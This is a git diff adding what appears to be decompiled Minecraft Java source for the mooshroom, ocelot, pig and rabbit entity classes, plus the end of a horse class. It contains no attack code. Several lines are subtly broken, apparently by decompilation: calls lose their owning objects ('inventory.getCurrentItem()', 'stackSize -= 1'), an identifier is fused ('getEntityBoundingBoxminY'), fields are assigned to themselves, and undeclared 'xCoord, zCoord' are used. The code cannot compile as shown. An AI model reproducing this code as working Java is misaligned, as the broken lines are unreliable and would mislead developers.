+        riddenByEntity).renderYawOffset = renderYawOffset;
+      }
+    }
+  }
+  
+  private float func_110267_cL()
+  {
+    return 15.0F + rand.nextInt(8) + rand.nextInt(9);
+  }
+  
+  private double func_110245_cM()
+  {
+    return 0.4000000059604645D + rand.nextDouble() * 0.2D + rand.nextDouble() * 0.2D + rand.nextDouble() * 0.2D;
+  }
+  
+  private double func_110203_cN()
+  {
+    return (0.44999998807907104D + rand.nextDouble() * 0.3D + rand.nextDouble() * 0.3D + rand.nextDouble() * 0.3D) * 0.25D;
+  }
+  
+  public static boolean func_146085_a(Item p_146085_0_)
+  {
+    return (p_146085_0_ == Items.iron_horse_armor) || (p_146085_0_ == Items.golden_horse_armor) || (p_146085_0_ == Items.diamond_horse_armor);
+  }
+  
+
+
+
+  public boolean isOnLadder()
+  {
+    return false;
+  }
+  
+  public float getEyeHeight()
+  {
+    return height;
+  }
+  
+  public boolean func_174820_d(int p_174820_1_, ItemStack p_174820_2_)
+  {
+    if ((p_174820_1_ == 499) && (canCarryChest()))
+    {
+      if ((p_174820_2_ == null) && (isChested()))
+      {
+        setChested(false);
+        func_110226_cD();
+        return true;
+      }
+      
+      if ((p_174820_2_ != null) && (p_174820_2_.getItem() == Item.getItemFromBlock(Blocks.chest)) && (!isChested()))
+      {
+        setChested(true);
+        func_110226_cD();
+        return true;
+      }
+    }
+    
+    int var3 = p_174820_1_ - 400;
+    
+    if ((var3 >= 0) && (var3 < 2) && (var3 < horseChest.getSizeInventory()))
+    {
+      if ((var3 == 0) && (p_174820_2_ != null) && (p_174820_2_.getItem() != Items.saddle))
+      {
+        return false;
+      }
+      if ((var3 == 1) && (((p_174820_2_ != null) && (!func_146085_a(p_174820_2_.getItem()))) || (!canWearArmor())))
+      {
+        return false;
+      }
+      
+
+      horseChest.setInventorySlotContents(var3, p_174820_2_);
+      func_110232_cE();
+      return true;
+    }
+    
+
+
+    int var4 = p_174820_1_ - 500 + 2;
+    
+    if ((var4 >= 2) && (var4 < horseChest.getSizeInventory()))
+    {
+      horseChest.setInventorySlotContents(var4, p_174820_2_);
+      return true;
+    }
+    
+
+    return false;
+  }
+  
+
+  public static class GroupData
+    implements IEntityLivingData
+  {
+    public int field_111107_a;
+    public int field_111106_b;
+    private static final String __OBFID = "CL_00001643";
+    
+    public GroupData(int p_i1684_1_, int p_i1684_2_)
+    {
+      field_111107_a = p_i1684_1_;
+      field_111106_b = p_i1684_2_;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/passive/EntityMooshroom.java b/src/minecraft/net/minecraft/entity/passive/EntityMooshroom.java
new file mode 100644
index 0000000..df07caa
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/passive/EntityMooshroom.java
@@ -0,0 +1,85 @@
+package net.minecraft.entity.passive;
+
+import net.minecraft.entity.EntityAgeable;
+import net.minecraft.entity.item.EntityItem;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.item.ItemStack;
+import net.minecraft.world.World;
+
+public class EntityMooshroom extends EntityCow
+{
+  private static final String __OBFID = "CL_00001645";
+  
+  public EntityMooshroom(World worldIn)
+  {
+    super(worldIn);
+    setSize(0.9F, 1.3F);
+    field_175506_bl = Blocks.mycelium;
+  }
+  
+
+
+
+  public boolean interact(EntityPlayer p_70085_1_)
+  {
+    ItemStack var2 = inventory.getCurrentItem();
+    
+    if ((var2 != null) && (var2.getItem() == Items.bowl) && (getGrowingAge() >= 0))
+    {
+      if (stackSize == 1)
+      {
+        inventory.setInventorySlotContents(inventory.currentItem, new ItemStack(Items.mushroom_stew));
+        return true;
+      }
+      
+      if ((inventory.addItemStackToInventory(new ItemStack(Items.mushroom_stew))) && (!capabilities.isCreativeMode))
+      {
+        inventory.decrStackSize(inventory.currentItem, 1);
+        return true;
+      }
+    }
+    
+    if ((var2 != null) && (var2.getItem() == Items.shears) && (getGrowingAge() >= 0))
+    {
+      setDead();
+      worldObj.spawnParticle(net.minecraft.util.EnumParticleTypes.EXPLOSION_LARGE, posX, posY + height / 2.0F, posZ, 0.0D, 0.0D, 0.0D, new int[0]);
+      
+      if (!worldObj.isRemote)
+      {
+        EntityCow var3 = new EntityCow(worldObj);
+        var3.setLocationAndAngles(posX, posY, posZ, rotationYaw, rotationPitch);
+        var3.setHealth(getHealth());
+        renderYawOffset = renderYawOffset;
+        
+        if (hasCustomName())
+        {
+          var3.setCustomNameTag(getCustomNameTag());
+        }
+        
+        worldObj.spawnEntityInWorld(var3);
+        
+        for (int var4 = 0; var4 < 5; var4++)
+        {
+          worldObj.spawnEntityInWorld(new EntityItem(worldObj, posX, posY + height, posZ, new ItemStack(Blocks.red_mushroom)));
+        }
+        
+        var2.damageItem(1, p_70085_1_);
+        playSound("mob.sheep.shear", 1.0F, 1.0F);
+      }
+      
+      return true;
+    }
+    
+
+    return super.interact(p_70085_1_);
+  }
+  
+
+  public EntityMooshroom createChild(EntityAgeable p_90011_1_)
+  {
+    return new EntityMooshroom(worldObj);
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/passive/EntityOcelot.java b/src/minecraft/net/minecraft/entity/passive/EntityOcelot.java
new file mode 100644
index 0000000..0f573a5
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/passive/EntityOcelot.java
@@ -0,0 +1,396 @@
+package net.minecraft.entity.passive;
+
+import java.util.List;
+import java.util.Random;
+import java.util.UUID;
+import net.minecraft.block.Block;
+import net.minecraft.block.material.Material;
+import net.minecraft.entity.DataWatcher;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityAgeable;
+import net.minecraft.entity.IEntityLivingData;
+import net.minecraft.entity.SharedMonsterAttributes;
+import net.minecraft.entity.ai.EntityAIAvoidEntity;
+import net.minecraft.entity.ai.EntityAIMate;
+import net.minecraft.entity.ai.EntityAIOcelotAttack;
+import net.minecraft.entity.ai.EntityAISit;
+import net.minecraft.entity.ai.EntityAITargetNonTamed;
+import net.minecraft.entity.ai.EntityAITasks;
+import net.minecraft.entity.ai.EntityAITempt;
+import net.minecraft.entity.ai.EntityAIWander;
+import net.minecraft.entity.ai.EntityAIWatchClosest;
+import net.minecraft.entity.ai.EntityMoveHelper;
+import net.minecraft.entity.ai.attributes.IAttributeInstance;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.entity.player.PlayerCapabilities;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.pathfinding.PathNavigateGround;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.DamageSource;
+import net.minecraft.world.DifficultyInstance;
+import net.minecraft.world.World;
+
+public class EntityOcelot extends EntityTameable
+{
+  private EntityAIAvoidEntity field_175545_bm;
+  private EntityAITempt aiTempt;
+  private static final String __OBFID = "CL_00001646";
+  
+  public EntityOcelot(World worldIn)
+  {
+    super(worldIn);
+    setSize(0.6F, 0.7F);
+    ((PathNavigateGround)getNavigator()).func_179690_a(true);
+    tasks.addTask(1, new net.minecraft.entity.ai.EntityAISwimming(this));
+    tasks.addTask(2, aiSit);
+    tasks.addTask(3, this.aiTempt = new EntityAITempt(this, 0.6D, Items.fish, true));
+    tasks.addTask(5, new net.minecraft.entity.ai.EntityAIFollowOwner(this, 1.0D, 10.0F, 5.0F));
+    tasks.addTask(6, new net.minecraft.entity.ai.EntityAIOcelotSit(this, 0.8D));
+    tasks.addTask(7, new net.minecraft.entity.ai.EntityAILeapAtTarget(this, 0.3F));
+    tasks.addTask(8, new EntityAIOcelotAttack(this));
+    tasks.addTask(9, new EntityAIMate(this, 0.8D));
+    tasks.addTask(10, new EntityAIWander(this, 0.8D));
+    tasks.addTask(11, new EntityAIWatchClosest(this, EntityPlayer.class, 10.0F));
+    targetTasks.addTask(1, new EntityAITargetNonTamed(this, EntityChicken.class, false, null));
+  }
+  
+  protected void entityInit()
+  {
+    super.entityInit();
+    dataWatcher.addObject(18, Byte.valueOf((byte)0));
+  }
+  
+  public void updateAITasks()
+  {
+    if (getMoveHelper().isUpdating())
+    {
+      double var1 = getMoveHelper().getSpeed();
+      
+      if (var1 == 0.6D)
+      {
+        setSneaking(true);
+        setSprinting(false);
+      }
+      else if (var1 == 1.33D)
+      {
+        setSneaking(false);
+        setSprinting(true);
+      }
+      else
+      {
+        setSneaking(false);
+        setSprinting(false);
+      }
+    }
+    else
+    {
+      setSneaking(false);
+      setSprinting(false);
+    }
+  }
+  
+
+
+
+  protected boolean canDespawn()
+  {
+    return (!isTamed()) && (ticksExisted > 2400);
+  }
+  
+  protected void applyEntityAttributes()
+  {
+    super.applyEntityAttributes();
+    getEntityAttribute(SharedMonsterAttributes.maxHealth).setBaseValue(10.0D);
+    getEntityAttribute(SharedMonsterAttributes.movementSpeed).setBaseValue(0.30000001192092896D);
+  }
+  
+
+
+  public void fall(float distance, float damageMultiplier) {}
+  
+
+  public void writeEntityToNBT(NBTTagCompound tagCompound)
+  {
+    super.writeEntityToNBT(tagCompound);
+    tagCompound.setInteger("CatType", getTameSkin());
+  }
+  
+
+
+
+  public void readEntityFromNBT(NBTTagCompound tagCompund)
+  {
+    super.readEntityFromNBT(tagCompund);
+    setTameSkin(tagCompund.getInteger("CatType"));
+  }
+  
+
+
+
+  protected String getLivingSound()
+  {
+    return isTamed() ? "mob.cat.meow" : rand.nextInt(4) == 0 ? "mob.cat.purreow" : isInLove() ? "mob.cat.purr" : "";
+  }
+  
+
+
+
+  protected String getHurtSound()
+  {
+    return "mob.cat.hitt";
+  }
+  
+
+
+
+  protected String getDeathSound()
+  {
+    return "mob.cat.hitt";
+  }
+  
+
+
+
+  protected float getSoundVolume()
+  {
+    return 0.4F;
+  }
+  
+  protected Item getDropItem()
+  {
+    return Items.leather;
+  }
+  
+  public boolean attackEntityAsMob(Entity p_70652_1_)
+  {
+    return p_70652_1_.attackEntityFrom(DamageSource.causeMobDamage(this), 3.0F);
+  }
+  
+
+
+
+  public boolean attackEntityFrom(DamageSource source, float amount)
+  {
+    if (func_180431_b(source))
+    {
+      return false;
+    }
+    
+
+    aiSit.setSitting(false);
+    return super.attackEntityFrom(source, amount);
+  }
+  
+
+
+
+
+  protected void dropFewItems(boolean p_70628_1_, int p_70628_2_) {}
+  
+
+
+
+  public boolean interact(EntityPlayer p_70085_1_)
+  {
+    ItemStack var2 = inventory.getCurrentItem();
+    
+    if (isTamed())
+    {
+      if ((func_152114_e(p_70085_1_)) && (!worldObj.isRemote) && (!isBreedingItem(var2)))
+      {
+        aiSit.setSitting(!isSitting());
+      }
+    }
+    else if ((aiTempt.isRunning()) && (var2 != null) && (var2.getItem() == Items.fish) && (p_70085_1_.getDistanceSqToEntity(this) < 9.0D))
+    {
+      if (!capabilities.isCreativeMode)
+      {
+        stackSize -= 1;
+      }
+      
+      if (stackSize <= 0)
+      {
+        inventory.setInventorySlotContents(inventory.currentItem, null);
+      }
+      
+      if (!worldObj.isRemote)
+      {
+        if (rand.nextInt(3) == 0)
+        {
+          setTamed(true);
+          setTameSkin(1 + worldObj.rand.nextInt(3));
+          func_152115_b(p_70085_1_.getUniqueID().toString());
+          playTameEffect(true);
+          aiSit.setSitting(true);
+          worldObj.setEntityState(this, (byte)7);
+        }
+        else
+        {
+          playTameEffect(false);
+          worldObj.setEntityState(this, (byte)6);
+        }
+      }
+      
+      return true;
+    }
+    
+    return super.interact(p_70085_1_);
+  }
+  
+  public EntityOcelot func_180493_b(EntityAgeable p_180493_1_)
+  {
+    EntityOcelot var2 = new EntityOcelot(worldObj);
+    
+    if (isTamed())
+    {
+      var2.func_152115_b(func_152113_b());
+      var2.setTamed(true);
+      var2.setTameSkin(getTameSkin());
+    }
+    
+    return var2;
+  }
+  
+
+
+
+
+  public boolean isBreedingItem(ItemStack p_70877_1_)
+  {
+    return (p_70877_1_ != null) && (p_70877_1_.getItem() == Items.fish);
+  }
+  
+
+
+
+  public boolean canMateWith(EntityAnimal p_70878_1_)
+  {
+    if (p_70878_1_ == this)
+    {
+      return false;
+    }
+    if (!isTamed())
+    {
+      return false;
+    }
+    if (!(p_70878_1_ instanceof EntityOcelot))
+    {
+      return false;
+    }
+    
+
+    EntityOcelot var2 = (EntityOcelot)p_70878_1_;
+    return var2.isTamed();
+  }
+  
+
+  public int getTameSkin()
+  {
+    return dataWatcher.getWatchableObjectByte(18);
+  }
+  
+  public void setTameSkin(int p_70912_1_)
+  {
+    dataWatcher.updateObject(18, Byte.valueOf((byte)p_70912_1_));
+  }
+  
+
+
+
+  public boolean getCanSpawnHere()
+  {
+    return worldObj.rand.nextInt(3) != 0;
+  }
+  
+
+
+
+  public boolean handleLavaMovement()
+  {
+    if ((worldObj.checkNoEntityCollision(getEntityBoundingBox(), this)) && (worldObj.getCollidingBoundingBoxes(this, getEntityBoundingBox()).isEmpty()) && (!worldObj.isAnyLiquid(getEntityBoundingBox())))
+    {
+      BlockPos var1 = new BlockPos(posX, getEntityBoundingBoxminY, posZ);
+      
+      if (var1.getY() < 63)
+      {
+        return false;
+      }
+      
+      Block var2 = worldObj.getBlockState(var1.offsetDown()).getBlock();
+      
+      if ((var2 == net.minecraft.init.Blocks.grass) || (var2.getMaterial() == Material.leaves))
+      {
+        return true;
+      }
+    }
+    
+    return false;
+  }
+  
+
+
+
+  public String getName()
+  {
+    return isTamed() ? net.minecraft.util.StatCollector.translateToLocal("entity.Cat.name") : hasCustomName() ? getCustomNameTag() : super.getName();
+  }
+  
+  public void setTamed(boolean p_70903_1_)
+  {
+    super.setTamed(p_70903_1_);
+  }
+  
+  protected void func_175544_ck()
+  {
+    if (field_175545_bm == null)
+    {
+      field_175545_bm = new EntityAIAvoidEntity(this, new com.google.common.base.Predicate()
+      {
+        private static final String __OBFID = "CL_00002243";
+        
+        public boolean func_179874_a(Entity p_179874_1_) {
+          return p_179874_1_ instanceof EntityPlayer;
+        }
+        
+        public boolean apply(Object p_apply_1_) {
+          return func_179874_a((Entity)p_apply_1_);
+        }
+      }, 16.0F, 0.8D, 1.33D);
+    }
+    
+    tasks.removeTask(field_175545_bm);
+    
+    if (!isTamed())
+    {
+      tasks.addTask(4, field_175545_bm);
+    }
+  }
+  
+  public IEntityLivingData func_180482_a(DifficultyInstance p_180482_1_, IEntityLivingData p_180482_2_)
+  {
+    p_180482_2_ = super.func_180482_a(p_180482_1_, p_180482_2_);
+    
+    if (worldObj.rand.nextInt(7) == 0)
+    {
+      for (int var3 = 0; var3 < 2; var3++)
+      {
+        EntityOcelot var4 = new EntityOcelot(worldObj);
+        var4.setLocationAndAngles(posX, posY, posZ, rotationYaw, 0.0F);
+        var4.setGrowingAge(41536);
+        worldObj.spawnEntityInWorld(var4);
+      }
+    }
+    
+    return p_180482_2_;
+  }
+  
+  public EntityAgeable createChild(EntityAgeable p_90011_1_)
+  {
+    return func_180493_b(p_90011_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/passive/EntityPig.java b/src/minecraft/net/minecraft/entity/passive/EntityPig.java
new file mode 100644
index 0000000..b176a95
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/passive/EntityPig.java
@@ -0,0 +1,239 @@
+package net.minecraft.entity.passive;
+
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.entity.DataWatcher;
+import net.minecraft.entity.EntityAgeable;
+import net.minecraft.entity.SharedMonsterAttributes;
+import net.minecraft.entity.ai.EntityAIControlledByPlayer;
+import net.minecraft.entity.ai.EntityAIFollowParent;
+import net.minecraft.entity.ai.EntityAILookIdle;
+import net.minecraft.entity.ai.EntityAIMate;
+import net.minecraft.entity.ai.EntityAITasks;
+import net.minecraft.entity.ai.EntityAITempt;
+import net.minecraft.entity.ai.EntityAIWander;
+import net.minecraft.entity.ai.EntityAIWatchClosest;
+import net.minecraft.entity.ai.attributes.IAttributeInstance;
+import net.minecraft.entity.effect.EntityLightningBolt;
+import net.minecraft.entity.monster.EntityPigZombie;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.pathfinding.PathNavigateGround;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class EntityPig extends EntityAnimal
+{
+  private final EntityAIControlledByPlayer aiControlledByPlayer;
+  private static final String __OBFID = "CL_00001647";
+  
+  public EntityPig(World worldIn)
+  {
+    super(worldIn);
+    setSize(0.9F, 0.9F);
+    ((PathNavigateGround)getNavigator()).func_179690_a(true);
+    tasks.addTask(0, new net.minecraft.entity.ai.EntityAISwimming(this));
+    tasks.addTask(1, new net.minecraft.entity.ai.EntityAIPanic(this, 1.25D));
+    tasks.addTask(2, this.aiControlledByPlayer = new EntityAIControlledByPlayer(this, 0.3F));
+    tasks.addTask(3, new EntityAIMate(this, 1.0D));
+    tasks.addTask(4, new EntityAITempt(this, 1.2D, Items.carrot_on_a_stick, false));
+    tasks.addTask(4, new EntityAITempt(this, 1.2D, Items.carrot, false));
+    tasks.addTask(5, new EntityAIFollowParent(this, 1.1D));
+    tasks.addTask(6, new EntityAIWander(this, 1.0D));
+    tasks.addTask(7, new EntityAIWatchClosest(this, EntityPlayer.class, 6.0F));
+    tasks.addTask(8, new EntityAILookIdle(this));
+  }
+  
+  protected void applyEntityAttributes()
+  {
+    super.applyEntityAttributes();
+    getEntityAttribute(SharedMonsterAttributes.maxHealth).setBaseValue(10.0D);
+    getEntityAttribute(SharedMonsterAttributes.movementSpeed).setBaseValue(0.25D);
+  }
+  
+
+
+
+
+  public boolean canBeSteered()
+  {
+    ItemStack var1 = ((EntityPlayer)riddenByEntity).getHeldItem();
+    return (var1 != null) && (var1.getItem() == Items.carrot_on_a_stick);
+  }
+  
+  protected void entityInit()
+  {
+    super.entityInit();
+    dataWatcher.addObject(16, Byte.valueOf((byte)0));
+  }
+  
+
+
+
+  public void writeEntityToNBT(NBTTagCompound tagCompound)
+  {
+    super.writeEntityToNBT(tagCompound);
+    tagCompound.setBoolean("Saddle", getSaddled());
+  }
+  
+
+
+
+  public void readEntityFromNBT(NBTTagCompound tagCompund)
+  {
+    super.readEntityFromNBT(tagCompund);
+    setSaddled(tagCompund.getBoolean("Saddle"));
+  }
+  
+
+
+
+  protected String getLivingSound()
+  {
+    return "mob.pig.say";
+  }
+  
+
+
+
+  protected String getHurtSound()
+  {
+    return "mob.pig.say";
+  }
+  
+
+
+
+  protected String getDeathSound()
+  {
+    return "mob.pig.death";
+  }
+  
+  protected void func_180429_a(BlockPos p_180429_1_, Block p_180429_2_)
+  {
+    playSound("mob.pig.step", 0.15F, 1.0F);
+  }
+  
+
+
+
+  public boolean interact(EntityPlayer p_70085_1_)
+  {
+    if (super.interact(p_70085_1_))
+    {
+      return true;
+    }
+    if ((getSaddled()) && (!worldObj.isRemote) && ((riddenByEntity == null) || (riddenByEntity == p_70085_1_)))
+    {
+      p_70085_1_.mountEntity(this);
+      return true;
+    }
+    
+
+    return false;
+  }
+  
+
+  protected Item getDropItem()
+  {
+    return isBurning() ? Items.cooked_porkchop : Items.porkchop;
+  }
+  
+
+
+
+  protected void dropFewItems(boolean p_70628_1_, int p_70628_2_)
+  {
+    int var3 = rand.nextInt(3) + 1 + rand.nextInt(1 + p_70628_2_);
+    
+    for (int var4 = 0; var4 < var3; var4++)
+    {
+      if (isBurning())
+      {
+        dropItem(Items.cooked_porkchop, 1);
+      }
+      else
+      {
+        dropItem(Items.porkchop, 1);
+      }
+    }
+    
+    if (getSaddled())
+    {
+      dropItem(Items.saddle, 1);
+    }
+  }
+  
+
+
+
+  public boolean getSaddled()
+  {
+    return (dataWatcher.getWatchableObjectByte(16) & 0x1) != 0;
+  }
+  
+
+
+
+  public void setSaddled(boolean p_70900_1_)
+  {
+    if (p_70900_1_)
+    {
+      dataWatcher.updateObject(16, Byte.valueOf((byte)1));
+    }
+    else
+    {
+      dataWatcher.updateObject(16, Byte.valueOf((byte)0));
+    }
+  }
+  
+
+
+
+  public void onStruckByLightning(EntityLightningBolt lightningBolt)
+  {
+    if (!worldObj.isRemote)
+    {
+      EntityPigZombie var2 = new EntityPigZombie(worldObj);
+      var2.setCurrentItemOrArmor(0, new ItemStack(Items.golden_sword));
+      var2.setLocationAndAngles(posX, posY, posZ, rotationYaw, rotationPitch);
+      worldObj.spawnEntityInWorld(var2);
+      setDead();
+    }
+  }
+  
+  public void fall(float distance, float damageMultiplier)
+  {
+    super.fall(distance, damageMultiplier);
+    
+    if ((distance > 5.0F) && ((riddenByEntity instanceof EntityPlayer)))
+    {
+      ((EntityPlayer)riddenByEntity).triggerAchievement(net.minecraft.stats.AchievementList.flyPig);
+    }
+  }
+  
+  public EntityPig createChild(EntityAgeable p_90011_1_)
+  {
+    return new EntityPig(worldObj);
+  }
+  
+
+
+
+
+  public boolean isBreedingItem(ItemStack p_70877_1_)
+  {
+    return (p_70877_1_ != null) && (p_70877_1_.getItem() == Items.carrot);
+  }
+  
+
+
+
+  public EntityAIControlledByPlayer getAIControlledByPlayer()
+  {
+    return aiControlledByPlayer;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/passive/EntityRabbit.java b/src/minecraft/net/minecraft/entity/passive/EntityRabbit.java
new file mode 100644
index 0000000..6c5c319
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/passive/EntityRabbit.java
@@ -0,0 +1,752 @@
+package net.minecraft.entity.passive;
+
+import com.google.common.base.Predicate;
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockCarrot;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.DataWatcher;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityAgeable;
+import net.minecraft.entity.EntityCreature;
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.IEntityLivingData;
+import net.minecraft.entity.SharedMonsterAttributes;
+import net.minecraft.entity.ai.EntityAIAttackOnCollide;
+import net.minecraft.entity.ai.EntityAIAvoidEntity;
+import net.minecraft.entity.ai.EntityAIMate;
+import net.minecraft.entity.ai.EntityAIMoveToBlock;
+import net.minecraft.entity.ai.EntityAINearestAttackableTarget;
+import net.minecraft.entity.ai.EntityAIPanic;
+import net.minecraft.entity.ai.EntityAITasks;
+import net.minecraft.entity.ai.EntityJumpHelper;
+import net.minecraft.entity.ai.EntityMoveHelper;
+import net.minecraft.entity.ai.attributes.IAttributeInstance;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.pathfinding.PathEntity;
+import net.minecraft.pathfinding.PathNavigate;
+import net.minecraft.pathfinding.PathNavigateGround;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.DamageSource;
+import net.minecraft.util.Vec3;
+import net.minecraft.world.DifficultyInstance;
+import net.minecraft.world.World;
+
+public class EntityRabbit extends EntityAnimal
+{
+  private AIAvoidEntity field_175539_bk;
+  private int field_175540_bm = 0;
+  private int field_175535_bn = 0;
+  private boolean field_175536_bo = false;
+  private boolean field_175537_bp = false;
+  private int field_175538_bq = 0;
+  private EnumMoveType field_175542_br;
+  private int field_175541_bs;
+  private EntityPlayer field_175543_bt;
+  private static final String __OBFID = "CL_00002242";
+  
+  public EntityRabbit(World worldIn)
+  {
+    super(worldIn);
+    field_175542_br = EnumMoveType.HOP;
+    field_175541_bs = 0;
+    field_175543_bt = null;
+    setSize(0.6F, 0.7F);
+    jumpHelper = new RabbitJumpHelper(this);
+    moveHelper = new RabbitMoveHelper();
+    ((PathNavigateGround)getNavigator()).func_179690_a(true);
+    navigator.func_179678_a(2.5F);
+    tasks.addTask(1, new net.minecraft.entity.ai.EntityAISwimming(this));
+    tasks.addTask(1, new AIPanic(1.33D));
+    tasks.addTask(2, new net.minecraft.entity.ai.EntityAITempt(this, 1.0D, Items.carrot, false));
+    tasks.addTask(3, new EntityAIMate(this, 0.8D));
+    tasks.addTask(5, new AIRaidFarm());
+    tasks.addTask(5, new net.minecraft.entity.ai.EntityAIWander(this, 0.6D));
+    tasks.addTask(11, new net.minecraft.entity.ai.EntityAIWatchClosest(this, EntityPlayer.class, 10.0F));
+    field_175539_bk = new AIAvoidEntity(new Predicate()
+    {
+      private static final String __OBFID = "CL_00002241";
+      
+      public boolean func_180086_a(Entity p_180086_1_) {
+        return p_180086_1_ instanceof EntityWolf;
+      }
+      
+      public boolean apply(Object p_apply_1_) {
+        return func_180086_a((Entity)p_apply_1_);
+      }
+    }, 16.0F, 1.33D, 1.33D);
+    tasks.addTask(4, field_175539_bk);
+    func_175515_b(0.0D);
+  }
+  
+  protected float func_175134_bD()
+  {
+    return (moveHelper.isUpdating()) && (moveHelper.func_179919_e() > posY + 0.5D) ? 0.5F : field_175542_br.func_180074_b();
+  }
+  
+  public void func_175522_a(EnumMoveType p_175522_1_)
+  {
+    field_175542_br = p_175522_1_;
+  }
+  
+  public float func_175521_o(float p_175521_1_)
+  {
+    return field_175535_bn == 0 ? 0.0F : (field_175540_bm + p_175521_1_) / field_175535_bn;
+  }
+  
+  public void func_175515_b(double p_175515_1_)
+  {
+    getNavigator().setSpeed(p_175515_1_);
+    moveHelper.setMoveTo(moveHelper.func_179917_d(), moveHelper.func_179919_e(), moveHelper.func_179918_f(), p_175515_1_);
+  }
+  
+  public void func_175519_a(boolean p_175519_1_, EnumMoveType p_175519_2_)
+  {
+    super.setJumping(p_175519_1_);
+    
+    if (!p_175519_1_)
+    {
+      if (field_175542_br == EnumMoveType.ATTACK)
+      {
+        field_175542_br = EnumMoveType.HOP;
+      }
+    }
+    else
+    {
+      func_175515_b(1.5D * p_175519_2_.func_180072_a());
+      playSound(func_175516_ck(), getSoundVolume(), ((rand.nextFloat() - rand.nextFloat()) * 0.2F + 1.0F) * 0.8F);
+    }
+    
+    field_175536_bo = p_175519_1_;
+  }
+  
+  public void func_175524_b(EnumMoveType p_175524_1_)
+  {
+    func_175519_a(true, p_175524_1_);
+    field_175535_bn = p_175524_1_.func_180073_d();
+    field_175540_bm = 0;
+  }
+  
+  public boolean func_175523_cj()
+  {
+    return field_175536_bo;
+  }
+  
+  protected void entityInit()
+  {
+    super.entityInit();
+    dataWatcher.addObject(18, Byte.valueOf((byte)0));
+  }
+  
+  public void updateAITasks()
+  {
+    if (moveHelper.getSpeed() > 0.8D)
+    {
+      func_175522_a(EnumMoveType.SPRINT);
+    }
+    else if (field_175542_br != EnumMoveType.ATTACK)
+    {
+      func_175522_a(EnumMoveType.HOP);
+    }
+    
+    if (field_175538_bq > 0)
+    {
+      field_175538_bq -= 1;
+    }
+    
+    if (field_175541_bs > 0)
+    {
+      field_175541_bs -= rand.nextInt(3);
+      
+      if (field_175541_bs < 0)
+      {
+        field_175541_bs = 0;
+      }
+    }
+    
+    if (onGround)
+    {
+      if (!field_175537_bp)
+      {
+        func_175519_a(false, EnumMoveType.NONE);
+        func_175517_cu();
+      }
+      
+      if ((func_175531_cl() == 99) && (field_175538_bq == 0))
+      {
+        EntityLivingBase var1 = getAttackTarget();
+        
+        if ((var1 != null) && (getDistanceSqToEntity(var1) < 16.0D))
+        {
+          func_175533_a(posX, posZ);
+          moveHelper.setMoveTo(posX, posY, posZ, moveHelper.getSpeed());
+          func_175524_b(EnumMoveType.ATTACK);
+          field_175537_bp = true;
+        }
+      }
+      
+      RabbitJumpHelper var4 = (RabbitJumpHelper)jumpHelper;
+      
+      if (!var4.func_180067_c())
+      {
+        if ((moveHelper.isUpdating()) && (field_175538_bq == 0))
+        {
+          PathEntity var2 = navigator.getPath();
+          Vec3 var3 = new Vec3(moveHelper.func_179917_d(), moveHelper.func_179919_e(), moveHelper.func_179918_f());
+          
+          if ((var2 != null) && (var2.getCurrentPathIndex() < var2.getCurrentPathLength()))
+          {
+            var3 = var2.getPosition(this);
+          }
+          
+          func_175533_a(xCoord, zCoord);
+          func_175524_b(field_175542_br);
+        }
+      }
+      else if (!var4.func_180065_d())
+      {
+        func_175518_cr();
+      }
+    }
+    
+    field_175537_bp = onGround;
+  }
+  
+  public void func_174830_Y() {}
+  
+  private void func_175533_a(double p_175533_1_, double p_175533_3_)
+  {
+    rotationYaw = ((float)(Math.atan2(p_175533_3_ - posZ, p_175533_1_ - posX) * 180.0D / 3.141592653589793D) - 90.0F);
+  }
+  
+  private void func_175518_cr()
+  {
+    ((RabbitJumpHelper)jumpHelper).func_180066_a(true);
+  }
+  
+  private void func_175520_cs()
+  {
+    ((RabbitJumpHelper)jumpHelper).func_180066_a(false);
+  }
+  
+  private void func_175530_ct()
+  {
+    field_175538_bq = func_175532_cm();
+  }
+  
+  private void func_175517_cu()
+  {
+    func_175530_ct();
+    func_175520_cs();
+  }
+  
+
+
+
+
+  public void onLivingUpdate()
+  {
+    super.onLivingUpdate();
+    
+    if (field_175540_bm != field_175535_bn)
+    {
+      if ((field_175540_bm == 0) && (!worldObj.isRemote))
+      {
+        worldObj.setEntityState(this, (byte)1);
+      }
+      
+      field_175540_bm += 1;
+    }
+    else if (field_175535_bn != 0)
+    {
+      field_175540_bm = 0;
+      field_175535_bn = 0;
+    }
+  }
+  
+  protected void applyEntityAttributes()
+  {
+    super.applyEntityAttributes();
+    getEntityAttribute(SharedMonsterAttributes.maxHealth).setBaseValue(10.0D);
+    getEntityAttribute(SharedMonsterAttributes.movementSpeed).setBaseValue(0.30000001192092896D);
+  }
+  
+
+
+
+  public void writeEntityToNBT(NBTTagCompound tagCompound)
+  {
